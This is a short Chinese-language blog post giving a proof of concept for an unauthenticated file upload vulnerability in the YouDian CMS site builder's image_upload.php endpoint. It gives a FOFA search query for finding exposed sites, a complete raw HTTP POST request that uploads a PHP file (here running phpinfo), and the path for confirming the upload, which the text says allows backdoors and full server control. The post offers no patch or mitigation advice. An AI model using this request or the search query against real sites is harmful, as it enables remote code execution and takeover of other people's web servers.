Babing
Published on 2024-08-30 / 1 Visits
0
0

Y7-1友点-CMS建站系统-文件上传漏洞

Y7-1友点-CMS建站系统-文件上传漏洞

漏洞描述:

友点CMS建站系统image_upload.php 接口处存在文件上传漏洞,未经身份认证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个 web 服务器。

网络测绘:

fofa语法:

FOFA:app=“友点建站-CMS”

漏洞复现:

payload:

POST /Public/ckeditor/plugins/multiimage/dialogs/image_upload.php HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Content-Type: multipart/form-data;boundary=----WebKitFormBoundarydAPjrmyKewWuf59H
Accept-Encoding: gzip
Connection: close

------WebKitFormBoundarydAPjrmyKewWuf59H
Content-Disposition: form-data; name="files"; filename="1.php"
Content-Type: image/jpg

<?php phpinfo();?>
------WebKitFormBoundarydAPjrmyKewWuf59H--

效果图:
f11536c8f6d546ea9b8ff157ffb96fcc.png
验证url
/Public/image/uploads/回显的文件名
bdec9314299149ddb8f5ecd443880f7d.png


Comment